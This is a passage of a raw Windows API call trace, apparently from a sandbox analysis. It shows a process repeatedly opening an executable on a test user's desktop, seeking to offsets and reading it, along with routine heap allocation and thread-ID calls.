lDistanceToMove=7057496, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x6bb058 [0075.227] GetLastError () returned 0x0 [0075.227] GetCurrentThreadId () returned 0x9b0 [0075.227] GetLastError () returned 0x0 [0075.227] GetCurrentThreadId () returned 0x9b0 [0075.227] GetLastError () returned 0x0 [0075.227] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8186110, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x7ce8fe [0075.227] GetLastError () returned 0x0 [0075.227] GetCurrentThreadId () returned 0x9b0 [0075.227] GetLastError () returned 0x0 [0075.227] GetCurrentThreadId () returned 0x9b0 [0075.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10dd) returned 0x31df0d0 [0075.227] GetLastError () returned 0x0 [0075.227] ReadFile (in: hFile=0x2d8, lpBuffer=0x31df0e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96b0, lpOverlapped=0x0 | out: lpBuffer=0x31df0e4*, lpNumberOfBytesRead=0x9b96b0*=0x1000, lpOverlapped=0x0) returned 1 [0075.227] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.227] GetLastError () returned 0x0 [0075.228] GetCurrentThreadId () returned 0x9b0 [0075.228] GetLastError () returned 0x0 [0075.228] GetCurrentThreadId () returned 0x9b0 [0075.228] GetLastError () returned 0x0 [0075.228] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x7d08fe [0075.228] GetLastError () returned 0x0 [0075.228] GetCurrentThreadId () returned 0x9b0 [0075.228] GetLastError () returned 0x0 [0075.228] GetLastError () returned 0x0 [0075.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0075.228] CloseHandle (hObject=0x2d8) returned 1 [0075.228] GetLastError () returned 0x0 [0075.228] GetCurrentThreadId () returned 0x9b0 [0075.228] GetLastError () returned 0x0 [0075.228] GetLastError () returned 0x0 [0075.228] GetCurrentThreadId () returned 0x9b0 [0075.228] GetLastError () returned 0x0 [0075.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31e01b8 | out: hHeap=0x2ad0000) returned 1 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3224938, Size=0x2650) returned 0x3224938 [0075.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31df0d0 | out: hHeap=0x2ad0000) returned 1 [0075.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x244) returned 0x31da168 [0075.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96db0, Size=0x20) returned 0x30281e8 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281e8, Size=0x40) returned 0x2a19178 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19658 [0075.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x207) returned 0x2cbe3e0 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0878 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0878, Size=0xb8) returned 0x3183cb8 [0075.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4e7) returned 0x31df0d0 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183cb8, Size=0xe8) returned 0x2ac9080 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9080, Size=0x120) returned 0x2c37148 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x2cb82d0 [0075.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x451) returned 0x31df5c0 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb82d0, Size=0x1a8) returned 0x3028938 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c319f0 [0075.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac4e30 [0075.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac4e30 | out: hHeap=0x2ad0000) returned 1 [0075.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3224938 | out: hHeap=0x2ad0000) returned 1 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4988 [0075.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4988 | out: hHeap=0x2ad0000) returned 1 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x317f9c0 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180788 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3033b88 [0075.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f9c0 | out: hHeap=0x2ad0000) returned 1 [0075.230] GetCurrentThreadId () returned 0x9b0 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.231] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] GetCurrentThreadId () returned 0x9b0 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.232] GetLastError () returned 0x0 [0075.232] GetLastError () returned 0x0 [0075.232] GetLastError () returned 0x0 [0075.232] GetLastError () returned 0x0 [0075.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab48e8 [0075.232] GetLastError () returned 0x0 [0075.232] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.232] GetFileType (hFile=0x2d8) returned 0x1 [0075.232] GetLastError () returned 0x0 [0075.232] GetCurrentThreadId () returned 0x9b0 [0075.233] GetLastError () returned 0x0 [0075.233] GetFileType (hFile=0x2d8) returned 0x1 [0075.233] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.233] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.233] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.233] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.233] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.233] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.233] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.233] GetLastError () returned 0x0 [0075.233] GetCurrentThreadId () returned 0x9b0 [0075.233] GetLastError () returned 0x0 [0075.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.233] GetLastError () returned 0x0 [0075.233] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8190406, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x7cf9c6 [0075.233] GetLastError () returned 0x0 [0075.233] GetCurrentThreadId () returned 0x9b0 [0075.233] GetLastError () returned 0x0 [0075.233] GetCurrentThreadId () returned 0x9b0 [0075.233] GetLastError () returned 0x0 [0075.234] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8745126, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x8570a6 [0075.234] GetLastError () returned 0x0 [0075.234] GetCurrentThreadId () returned 0x9b0 [0075.234] GetLastError () returned 0x0 [0075.234] GetCurrentThreadId () returned 0x9b0 [0075.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11fc) returned 0x31dfa20 [0075.234] GetLastError () returned 0x0 [0075.234] ReadFile (in: hFile=0x2d8, lpBuffer=0x31dfa34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96b0, lpOverlapped=0x0 | out: lpBuffer=0x31dfa34*, lpNumberOfBytesRead=0x9b96b0*=0x1000, lpOverlapped=0x0) returned 1 [0075.234] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc14c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cc14c0*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.234] GetLastError () returned 0x0 [0075.234] GetCurrentThreadId () returned 0x9b0 [0075.234] GetLastError () returned 0x0 [0075.234] GetCurrentThreadId () returned 0x9b0 [0075.234] GetLastError () returned 0x0 [0075.234] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x8590a6 [0075.234] GetLastError () returned 0x0 [0075.234] GetCurrentThreadId () returned 0x9b0 [0075.234] GetLastError () returned 0x0 [0075.234] GetLastError () returned 0x0 [0075.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc14c0 | out: hHeap=0x2ad0000) returned 1 [0075.235] CloseHandle (hObject=0x2d8) returned 1 [0075.235] GetLastError () returned 0x0 [0075.235] GetCurrentThreadId () returned 0x9b0 [0075.235] GetLastError () returned 0x0 [0075.235] GetLastError () returned 0x0 [0075.235] GetCurrentThreadId () returned 0x9b0 [0075.235] GetLastError () returned 0x0 [0075.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31e0c28 | out: hHeap=0x2ad0000) returned 1 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3224938, Size=0x2c08) returned 0x3224938 [0075.235] GetCurrentThreadId () returned 0x9b0 [0075.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31dfa20 | out: hHeap=0x2ad0000) returned 1 [0075.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96f48, Size=0x20) returned 0x30281c0 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x2a18c20 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19b28 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0580 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x31838f8 [0075.235] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838f8, Size=0xe8) returned 0x2ac8bd0 [0075.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x202) returned 0x31dfa20 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20e) returned 0x31dfc30 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x229) returned 0x31dfe48 [0075.236] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8bd0, Size=0x120) returned 0x2c37270 [0075.236] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37270, Size=0x160) returned 0x2cb7d30 [0075.236] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7d30, Size=0x1a8) returned 0x3028ca8 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028ca8 | out: hHeap=0x2ad0000) returned 1 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3224938 | out: hHeap=0x2ad0000) returned 1 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4968 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4968 | out: hHeap=0x2ad0000) returned 1 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181e80 [0075.236] GetCurrentThreadId () returned 0x9b0 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.236] GetCurrentThreadId () returned 0x9b0 [0075.236] GetCurrentThreadId () returned 0x9b0 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.236] GetCurrentThreadId () returned 0x9b0 [0075.236] GetCurrentThreadId () returned 0x9b0 [0075.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a668 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302cef8 [0075.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3181e80 | out: hHeap=0x2ad0000) returned 1 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.237] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.237] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.238] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.238] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.239] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] GetCurrentThreadId () returned 0x9b0 [0075.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] GetCurrentThreadId () returned 0x9b0 [0075.240] GetLastError () returned 0x0 [0075.240] GetLastError () returned 0x0 [0075.240] GetLastError () returned 0x0 [0075.240] GetLastError () returned 0x0 [0075.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97038 | out: hHeap=0x2ad0000) returned 1 [0075.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4998 [0075.240] GetLastError () returned 0x0 [0075.240] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.240] GetFileType (hFile=0x2d8) returned 0x1 [0075.241] GetLastError () returned 0x0 [0075.241] GetCurrentThreadId () returned 0x9b0 [0075.241] GetLastError () returned 0x0 [0075.241] GetFileType (hFile=0x2d8) returned 0x1 [0075.241] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.241] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.241] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.241] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.241] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.241] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.241] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.241] GetLastError () returned 0x0 [0075.241] GetCurrentThreadId () returned 0x9b0 [0075.241] GetLastError () returned 0x0 [0075.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4998 | out: hHeap=0x2ad0000) returned 1 [0075.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.241] GetLastError () returned 0x0 [0075.241] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8749709, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x85828d [0075.241] GetLastError () returned 0x0 [0075.241] GetCurrentThreadId () returned 0x9b0 [0075.241] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 